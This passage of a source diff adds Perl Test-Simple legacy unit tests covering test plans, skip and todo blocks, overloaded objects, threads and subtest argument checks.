+ print "1..0 # Skip many perls have broken threads. Enable with AUTHOR_TESTING.\n";
+ exit 0;
+ }
+}
+use Test::More;
+
+my $Num_Threads = 5;
+
+plan tests => $Num_Threads * 100 + 6;
+
+
+sub do_one_thread {
+ my $kid = shift;
+ my @list = ( 'x', 'yy', 'zzz', 'a', 'bb', 'ccc', 'aaaaa', 'z',
+ 'hello', 's', 'thisisalongname', '1', '2', '3',
+ 'abc', 'xyz', '1234567890', 'm', 'n', 'p' );
+ my @list2 = @list;
+ print "# kid $kid before is_deeply\n";
+
+ for my $j (1..100) {
+ is_deeply(\@list, \@list2);
+ }
+ print "# kid $kid exit\n";
+ return 42;
+}
+
+my @kids = ();
+for my $i (1..$Num_Threads) {
+ my $t = threads->new(\&do_one_thread, $i);
+ print "# parent $$: continue\n";
+ push(@kids, $t);
+}
+for my $t (@kids) {
+ print "# parent $$: waiting for join\n";
+ my $rc = $t->join();
+ cmp_ok( $rc, '==', 42, "threads exit status is $rc" );
+}
+
+pass("End of test");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/missing.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/missing.t
new file mode 100644
index 00000000000..a48533c8cb1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/missing.t
@@ -0,0 +1,59 @@
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 2);
+
+sub is { $TB->is_eq(@_) }
+
+
+package main;
+
+require Test::Simple;
+
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+local $ENV{HARNESS_ACTIVE} = 0;
+
+Test::Simple->import(tests => 5);
+
+#line 30
+ok(1, 'Foo');
+ok(0, 'Bar');
+ok(1, '1 2 3');
+
+END {
+ My::Test::is($$out, <<OUT);
+1..5
+ok 1 - Foo
+not ok 2 - Bar
+ok 3 - 1 2 3
+OUT
+
+ My::Test::is($$err, <<ERR);
+# Failed test 'Bar'
+# at $0 line 31.
+# You named your test '1 2 3'. You shouldn't use numbers for your test names.
+# Very confusing.
+# Looks like you planned 5 tests but ran 3.
+# Looks like you failed 1 test of 3 run.
+ERR
+
+ exit 0;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/new_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/new_ok.t
new file mode 100644
index 00000000000..d53f535d1c0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/new_ok.t
@@ -0,0 +1,42 @@
+#!/usr/bin/perl -w
+
+use strict;
+
+use Test::More tests => 13;
+
+{
+ package Bar;
+
+ sub new {
+ my $class = shift;
+ return bless {@_}, $class;
+ }
+
+
+ package Foo;
+ our @ISA = qw(Bar);
+}
+
+{
+ my $obj = new_ok("Foo");
+ is_deeply $obj, {};
+ isa_ok $obj, "Foo";
+
+ $obj = new_ok("Bar");
+ is_deeply $obj, {};
+ isa_ok $obj, "Bar";
+
+ $obj = new_ok("Foo", [this => 42]);
+ is_deeply $obj, { this => 42 };
+ isa_ok $obj, "Foo";
+
+ $obj = new_ok("Foo", [], "Foo");
+ is_deeply $obj, {};
+ isa_ok $obj, "Foo";
+}
+
+# And what if we give it nothing?
+eval {
+ new_ok();
+};
+is $@, sprintf "new_ok() must be given at least a class at %s line %d.\n", $0, __LINE__ - 2;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_log_results.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_log_results.t
new file mode 100644
index 00000000000..859e120dd2f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_log_results.t
@@ -0,0 +1,19 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+sub it {
+ my $tb = Test::Builder->new;
+ $tb->no_log_results;
+
+ ok(1, "sample");
+ ok(2, "sample");
+
+ is_deeply([$tb->details], [], "no details were logged");
+}
+
+it();
+subtest it => \&it;
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_plan.t
new file mode 100644
index 00000000000..559dcfa60c1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_plan.t
@@ -0,0 +1,38 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::More tests => 7;
+
+my $tb = Test::Builder->create;
+
+# TB methods expect to be wrapped
+my $ok = sub { shift->ok(@_) };
+my $plan = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
+#line 20
+ok !eval { $tb->$plan(tests => undef) };
+is($@, "Got an undefined number of tests at $0 line 20.\n");
+
+#line 24
+ok !eval { $tb->$plan(tests => 0) };
+is($@, "You said to run 0 tests at $0 line 24.\n");
+
+{
+ my $warning = '';
+ local $SIG{__WARN__} = sub { $warning .= join '', @_ };
+
+#line 31
+ ok $tb->$plan(no_plan => 1);
+ is( $warning, "no_plan takes no arguments at $0 line 31.\n" );
+ is $tb->has_plan, 'no_plan';
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_tests.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_tests.t
new file mode 100644
index 00000000000..12c37c6885d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_tests.t
@@ -0,0 +1,46 @@
+#!perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 3);
+
+
+package main;
+
+require Test::Simple;
+
+chdir 't';
+push @INC, '../t/lib/';
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+local $ENV{HARNESS_ACTIVE} = 0;
+
+Test::Simple->import(tests => 1);
+
+END {
+ $TB->is_eq($out->read, <<OUT);
+1..1
+OUT
+
+ $TB->is_eq($err->read, <<ERR);
+# No tests run!
+ERR
+
+ $TB->is_eq($?, 255, "exit code");
+
+ $? = grep { !$_ } $TB->summary;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/note.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/note.t
new file mode 100644
index 00000000000..fb98fb40295
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/note.t
@@ -0,0 +1,30 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::Builder::NoOutput;
+
+use Test::More tests => 2;
+
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ $tb->note("foo");
+
+ $tb->reset_outputs;
+
+ is $tb->read('out'), "# foo\n";
+ is $tb->read('err'), '';
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload.t
new file mode 100644
index 00000000000..a86103746b3
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload.t
@@ -0,0 +1,86 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 19;
+
+
+package Overloaded;
+
+use overload
+ q{eq} => sub { $_[0]->{string} eq $_[1] },
+ q{==} => sub { $_[0]->{num} == $_[1] },
+ q{""} => sub { $_[0]->{stringify}++; $_[0]->{string} },
+ q{0+} => sub { $_[0]->{numify}++; $_[0]->{num} }
+;
+
+sub new {
+ my $class = shift;
+ bless {
+ string => shift,
+ num => shift,
+ stringify => 0,
+ numify => 0,
+ }, $class;
+}
+
+
+package main;
+
+local $SIG{__DIE__} = sub {
+ my($call_file, $call_line) = (caller)[1,2];
+ fail("SIGDIE accidentally called");
+ diag("From $call_file at $call_line");
+};
+
+my $obj = Overloaded->new('foo', 42);
+isa_ok $obj, 'Overloaded';
+
+cmp_ok $obj, 'eq', 'foo', 'cmp_ok() eq';
+is $obj->{stringify}, 0, ' does not stringify';
+is $obj, 'foo', 'is() with string overloading';
+cmp_ok $obj, '==', 42, 'cmp_ok() with number overloading';
+is $obj->{numify}, 0, ' does not numify';
+
+is_deeply [$obj], ['foo'], 'is_deeply with string overloading';
+ok eq_array([$obj], ['foo']), 'eq_array ...';
+ok eq_hash({foo => $obj}, {foo => 'foo'}), 'eq_hash ...';
+
+# rt.cpan.org 13506
+is_deeply $obj, 'foo', 'is_deeply with string overloading at the top';
+
+Test::More->builder->is_num($obj, 42);
+Test::More->builder->is_eq ($obj, "foo");
+
+
+{
+ # rt.cpan.org 14675
+ package TestPackage;
+ use overload q{""} => sub { ::fail("This should not be called") };
+
+ package Foo;
+ ::is_deeply(['TestPackage'], ['TestPackage']);
+ ::is_deeply({'TestPackage' => 'TestPackage'},
+ {'TestPackage' => 'TestPackage'});
+ ::is_deeply('TestPackage', 'TestPackage');
+}
+
+
+# Make sure 0 isn't a special case. [rt.cpan.org 41109]
+{
+ my $obj = Overloaded->new('0', 42);
+ isa_ok $obj, 'Overloaded';
+
+ cmp_ok $obj, 'eq', '0', 'cmp_ok() eq';
+ is $obj->{stringify}, 0, ' does not stringify';
+ is $obj, '0', 'is() with string overloading';
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload_threads.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload_threads.t
new file mode 100644
index 00000000000..fbc067aea10
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload_threads.t
@@ -0,0 +1,65 @@
+#!perl -w
+use Test2::Util qw/CAN_THREAD/;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+chdir 't';
+
+BEGIN {
+ # There was a bug with overloaded objects and threads.
+ # See rt.cpan.org 4218
+ eval { require threads; 'threads'->import; 1; } if CAN_THREAD;
+}
+
+use Test::More;
+
+plan skip_all => "known to crash on $]" if $] le "5.006002";
+
+plan tests => 5;
+
+
+package Overloaded;
+
+use overload
+ q{""} => sub { $_[0]->{string} };
+
+sub new {
+ my $class = shift;
+ bless { string => shift }, $class;
+}
+
+
+package main;
+
+my $warnings = '';
+local $SIG{__WARN__} = sub { $warnings = join '', @_ };
+
+# overloaded object as name
+my $obj = Overloaded->new('foo');
+ok( 1, $obj );
+
+# overloaded object which returns undef as name
+my $undef = Overloaded->new(undef);
+pass( $undef );
+
+is( $warnings, '' );
+
+
+TODO: {
+ my $obj = Overloaded->new('not really todo, testing overloaded reason');
+ local $TODO = $obj;
+ fail("Just checking todo as an overloaded value");
+}
+
+
+SKIP: {
+ my $obj = Overloaded->new('not really skipped, testing overloaded reason');
+ skip $obj, 1;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan.t
new file mode 100644
index 00000000000..0d3ce89edb1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan.t
@@ -0,0 +1,21 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More;
+
+plan tests => 4;
+eval { plan tests => 4 };
+is( $@, sprintf("You tried to plan twice at %s line %d.\n", $0, __LINE__ - 1),
+ 'disallow double plan' );
+eval { plan 'no_plan' };
+is( $@, sprintf("You tried to plan twice at %s line %d.\n", $0, __LINE__ -1),
+ 'disallow changing plan' );
+
+pass('Just testing plan()');
+pass('Testing it some more');
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_bad.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_bad.t
new file mode 100644
index 00000000000..179356dbc1d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_bad.t
@@ -0,0 +1,37 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+
+use Test::More tests => 12;
+use Test::Builder;
+my $tb = Test::Builder->create;
+$tb->level(0);
+
+ok !eval { $tb->plan( tests => 'no_plan' ); };
+is $@, sprintf "Number of tests must be a positive integer. You gave it 'no_plan' at %s line %d.\n", $0, __LINE__ - 1;
+
+my $foo = [];
+my @foo = ($foo, 2, 3);
+ok !eval { $tb->plan( tests => @foo ) };
+is $@, sprintf "Number of tests must be a positive integer. You gave it '$foo' at %s line %d.\n", $0, __LINE__ - 1;
+
+ok !eval { $tb->plan( tests => 9.99 ) };
+is $@, sprintf "Number of tests must be a positive integer. You gave it '9.99' at %s line %d.\n", $0, __LINE__ - 1;
+
+#line 25
+ok !eval { $tb->plan( tests => -1 ) };
+is $@, "Number of tests must be a positive integer. You gave it '-1' at $0 line 25.\n";
+
+#line 29
+ok !eval { $tb->plan( tests => '' ) };
+is $@, "You said to run 0 tests at $0 line 29.\n";
+
+#line 33
+ok !eval { $tb->plan( 'wibble' ) };
+is $@, "plan() doesn't understand wibble at $0 line 33.\n";
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_is_noplan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_is_noplan.t
new file mode 100644
index 00000000000..1e696042eff
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_is_noplan.t
@@ -0,0 +1,32 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+use Test::More tests => 1;
+
+use Test::Builder::NoOutput;
+
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ $tb->plan('no_plan');
+
+ $tb->ok(1, 'foo');
+ $tb->_ending;
+
+ is($tb->read, <<OUT);
+ok 1 - foo
+1..1
+OUT
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_no_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_no_plan.t
new file mode 100644
index 00000000000..3111592e97f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_no_plan.t
@@ -0,0 +1,40 @@
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More;
+
+BEGIN {
+ if( !$ENV{HARNESS_ACTIVE} && $ENV{PERL_CORE} ) {
+ plan skip_all => "Won't work with t/TEST";
+ }
+}
+
+plan 'no_plan';
+
+pass('Just testing');
+ok(1, 'Testing again');
+
+{
+ my $warning = '';
+ local $SIG{__WARN__} = sub { $warning = join "", @_ };
+ SKIP: {
+ skip 'Just testing skip with no_plan';
+ fail("So very failed");
+ }
+ is( $warning, '', 'skip with no "how_many" ok with no_plan' );
+
+
+ $warning = '';
+ TODO: {
+ todo_skip "Just testing todo_skip";
+
+ fail("Just testing todo");
+ die "todo_skip should prevent this";
+ pass("Again");
+ }
+ is( $warning, '', 'skip with no "how_many" ok with no_plan' );
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_shouldnt_import.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_shouldnt_import.t
new file mode 100644
index 00000000000..b6eb0642446
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_shouldnt_import.t
@@ -0,0 +1,16 @@
+#!/usr/bin/perl -w
+
+# plan() used to export functions by mistake [rt.cpan.org 8385]
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+
+use Test::More ();
+Test::More::plan(tests => 1);
+
+Test::More::ok( !__PACKAGE__->can('ok'), 'plan should not export' );
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_skip_all.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_skip_all.t
new file mode 100644
index 00000000000..528df5f50d4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_skip_all.t
@@ -0,0 +1,12 @@
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More;
+
+plan skip_all => 'Just testing plan & skip_all';
+
+fail('We should never get here');
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/require_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/require_ok.t
new file mode 100644
index 00000000000..463a007599c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/require_ok.t
@@ -0,0 +1,29 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 8;
+
+# Symbol and Class::Struct are both non-XS core modules back to 5.004.
+# So they'll always be there.
+require_ok("Symbol");
+ok( $INC{'Symbol.pm'}, "require_ok MODULE" );
+
+require_ok("Class/Struct.pm");
+ok( $INC{'Class/Struct.pm'}, "require_ok FILE" );
+
+# Its more trouble than its worth to try to create these filepaths to test
+# through require_ok() so we cheat and use the internal logic.
+ok !Test::More::_is_module_name('foo:bar');
+ok !Test::More::_is_module_name('foo/bar.thing');
+ok !Test::More::_is_module_name('Foo::Bar::');
+ok Test::More::_is_module_name('V');
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/run_test.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/run_test.t
new file mode 100644
index 00000000000..8288f19ab8a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/run_test.t
@@ -0,0 +1,145 @@
+use strict;
+
+use Test::Tester;
+
+use Data::Dumper qw(Dumper);
+
+my $test = Test::Builder->new;
+$test->plan(tests => 54);
+
+my $cap;
+
+{
+ $cap = Test::Tester->capture;
+ my ($prem, @results) = run_tests(
+ sub {$cap->ok(1, "run pass")}
+ );
+
+ local $Test::Builder::Level = 0;
+
+ $test->is_eq($prem, "", "run pass no prem");
+ $test->is_num(scalar (@results), 1, "run pass result count");
+
+ my $res = $results[0];
+
+ $test->is_eq($res->{name}, "run pass", "run pass name");
+ $test->is_eq($res->{ok}, 1, "run pass ok");
+ $test->is_eq($res->{actual_ok}, 1, "run pass actual_ok");
+ $test->is_eq($res->{reason}, "", "run pass reason");
+ $test->is_eq($res->{type}, "", "run pass type");
+ $test->is_eq($res->{diag}, "", "run pass diag");
+ $test->is_num($res->{depth}, 0, "run pass depth");
+}
+
+{
+ my ($prem, @results) = run_tests(
+ sub {$cap->ok(0, "run fail")}
+ );
+
+ local $Test::Builder::Level = 0;
+
+ $test->is_eq($prem, "", "run fail no prem");
+ $test->is_num(scalar (@results), 1, "run fail result count");
+
+ my $res = $results[0];
+
+ $test->is_eq($res->{name}, "run fail", "run fail name");
+ $test->is_eq($res->{actual_ok}, 0, "run fail actual_ok");
+ $test->is_eq($res->{ok}, 0, "run fail ok");
+ $test->is_eq($res->{reason}, "", "run fail reason");
+ $test->is_eq($res->{type}, "", "run fail type");
+ $test->is_eq($res->{diag}, "", "run fail diag");
+ $test->is_num($res->{depth}, 0, "run fail depth");
+}
+
+{
+ my ($prem, @results) = run_tests(
+ sub {$cap->skip("just because")}
+ );
+
+ local $Test::Builder::Level = 0;
+
+ $test->is_eq($prem, "", "skip no prem");
+ $test->is_num(scalar (@results), 1, "skip result count");
+
+ my $res = $results[0];
+
+ $test->is_eq($res->{name}, "", "skip name");
+ $test->is_eq($res->{actual_ok}, 1, "skip actual_ok");
+ $test->is_eq($res->{ok}, 1, "skip ok");
+ $test->is_eq($res->{reason}, "just because", "skip reason");
+ $test->is_eq($res->{type}, "skip", "skip type");
+ $test->is_eq($res->{diag}, "", "skip diag");
+ $test->is_num($res->{depth}, 0, "skip depth");
+}
+
+{
+ my ($prem, @results) = run_tests(
+ sub {$cap->todo_skip("just because")}
+ );
+
+ local $Test::Builder::Level = 0;
+
+ $test->is_eq($prem, "", "todo_skip no prem");
+ $test->is_num(scalar (@results), 1, "todo_skip result count");
+
+ my $res = $results[0];
+
+ $test->is_eq($res->{name}, "", "todo_skip name");
+ $test->is_eq($res->{actual_ok}, 0, "todo_skip actual_ok");
+ $test->is_eq($res->{ok}, 1, "todo_skip ok");
+ $test->is_eq($res->{reason}, "just because", "todo_skip reason");
+ $test->is_eq($res->{type}, "todo_skip", "todo_skip type");
+ $test->is_eq($res->{diag}, "", "todo_skip diag");
+ $test->is_num($res->{depth}, 0, "todo_skip depth");
+}
+
+{
+ my ($prem, @results) = run_tests(
+ sub {$cap->diag("run diag")}
+ );
+
+ local $Test::Builder::Level = 0;
+
+ $test->is_eq($prem, "run diag\n", "run diag prem");
+ $test->is_num(scalar (@results), 0, "run diag result count");
+}
+
+{
+ my ($prem, @results) = run_tests(
+ sub {
+ $cap->ok(1, "multi pass");
+ $cap->diag("multi pass diag1");
+ $cap->diag("multi pass diag2");
+ $cap->ok(0, "multi fail");
+ $cap->diag("multi fail diag");
+ }
+ );
+
+ local $Test::Builder::Level = 0;
+
+ $test->is_eq($prem, "", "run multi no prem");
+ $test->is_num(scalar (@results), 2, "run multi result count");
+
+ my $res_pass = $results[0];
+
+ $test->is_eq($res_pass->{name}, "multi pass", "run multi pass name");
+ $test->is_eq($res_pass->{actual_ok}, 1, "run multi pass actual_ok");
+ $test->is_eq($res_pass->{ok}, 1, "run multi pass ok");
+ $test->is_eq($res_pass->{reason}, "", "run multi pass reason");
+ $test->is_eq($res_pass->{type}, "", "run multi pass type");
+ $test->is_eq($res_pass->{diag}, "multi pass diag1\nmulti pass diag2\n",
+ "run multi pass diag");
+ $test->is_num($res_pass->{depth}, 0, "run multi pass depth");
+
+ my $res_fail = $results[1];
+
+ $test->is_eq($res_fail->{name}, "multi fail", "run multi fail name");
+ $test->is_eq($res_pass->{actual_ok}, 1, "run multi fail actual_ok");
+ $test->is_eq($res_fail->{ok}, 0, "run multi fail ok");
+ $test->is_eq($res_pass->{reason}, "", "run multi fail reason");
+ $test->is_eq($res_pass->{type}, "", "run multi fail type");
+ $test->is_eq($res_fail->{diag}, "multi fail diag\n", "run multi fail diag");
+ $test->is_num($res_pass->{depth}, 0, "run multi fail depth");
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/simple.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/simple.t
new file mode 100644
index 00000000000..7297e9d6dd1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/simple.t
@@ -0,0 +1,17 @@
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use strict;
+
+BEGIN { $| = 1; $^W = 1; }
+
+use Test::Simple tests => 3;
+
+ok(1, 'compile');
+
+ok(1);
+ok(1, 'foo');
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skip.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skip.t
new file mode 100644
index 00000000000..9d37c3b39cc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skip.t
@@ -0,0 +1,98 @@
+#!perl -w
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More tests => 17;
+
+# If we skip with the same name, Test::Harness will report it back and
+# we won't get lots of false bug reports.
+my $Why = "Just testing the skip interface.";
+
+SKIP: {
+ skip $Why, 2
+ unless Pigs->can('fly');
+
+ my $pig = Pigs->new;
+ $pig->takeoff;
+
+ ok( $pig->altitude > 0, 'Pig is airborne' );
+ ok( $pig->airspeed > 0, ' and moving' );
+}
+
+
+SKIP: {
+ skip "We're not skipping", 2 if 0;
+
+ pass("Inside skip block");
+ pass("Another inside");
+}
+
+
+SKIP: {
+ skip "Again, not skipping", 2 if 0;
+
+ my($pack, $file, $line) = caller;
+ is( $pack || '', '', 'calling package not interfered with' );
+ is( $file || '', '', ' or file' );
+ is( $line || '', '', ' or line' );
+}
+
+SKIP: {
+ skip $Why, 2 if 1;
+
+ die "A horrible death";
+ fail("Deliberate failure");
+ fail("And again");
+}
+
+
+{
+ my $warning;
+ local $SIG{__WARN__} = sub { $warning = join "", @_ };
+ SKIP: {
+ # perl gets the line number a little wrong on the first
+ # statement inside a block.
+ 1 == 1;
+#line 56
+ skip $Why;
+ fail("So very failed");
+ }
+ is( $warning, "skip() needs to know \$how_many tests are in the ".
+ "block at $0 line 56\n",
+ 'skip without $how_many warning' );
+}
+
+
+SKIP: {
+ skip "Not skipping here.", 4 if 0;
+
+ pass("This is supposed to run");
+
+ # Testing out nested skips.
+ SKIP: {
+ skip $Why, 2;
+ fail("AHHH!");
+ fail("You're a failure");
+ }
+
+ pass("This is supposed to run, too");
+}
+
+{
+ my $warning = '';
+ local $SIG{__WARN__} = sub { $warning .= join "", @_ };
+
+ SKIP: {
+ skip 1, "This is backwards" if 1;
+
+ pass "This does not run";
+ }
+
+ like $warning, qr/^skip\(\) was passed a non-numeric number of tests/;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skipall.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skipall.t
new file mode 100644
index 00000000000..5491be126e8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skipall.t
@@ -0,0 +1,33 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+use Test::More;
+
+my $Test = Test::Builder->create;
+$Test->plan(tests => 2);
+
+my $out = '';
+my $err = '';
+{
+ my $tb = Test::More->builder;
+ $tb->output(\$out);
+ $tb->failure_output(\$err);
+
+ plan 'skip_all';
+}
+
+END {
+ $Test->is_eq($out, "1..0 # SKIP\n");
+ $Test->is_eq($err, "");
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/strays.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/strays.t
new file mode 100644
index 00000000000..7478bfef473
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/strays.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl -w
+
+# Check that stray newlines in test output are properly handed.
+
+BEGIN {
+ print "1..0 # Skip not completed\n";
+ exit 0;
+}
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+chdir 't';
+
+use Test::Builder::NoOutput;
+my $tb = Test::Builder::NoOutput->create;
+
+$tb->ok(1, "name\n");
+$tb->ok(0, "foo\nbar\nbaz");
+$tb->skip("\nmoofer");
+$tb->todo_skip("foo\n\n");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/args.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/args.t
new file mode 100644
index 00000000000..2c489a7b963
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/args.t
@@ -0,0 +1,33 @@
+#!/usr/bin/perl -w
+
+use strict;
+use Test::Builder;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+use Test::Builder::NoOutput;
+
+my $tb = Test::Builder->new;
+
+$tb->ok( !eval { $tb->subtest() } );
+$tb->like( $@, qr/^\Qsubtest()'s second argument must be a code ref/ );
+
+$tb->ok( !eval { $tb->subtest("foo") } );
+$tb->like( $@, qr/^\Qsubtest()'s second argument must be a code ref/ );
+
+my $foo;
+$tb->subtest('Arg passing', sub {
+ $foo = shift;
+ $tb->ok(1);
+}, 'foo');
+
+$tb->is_eq($foo, 'foo');
+
+$tb->done_testing();
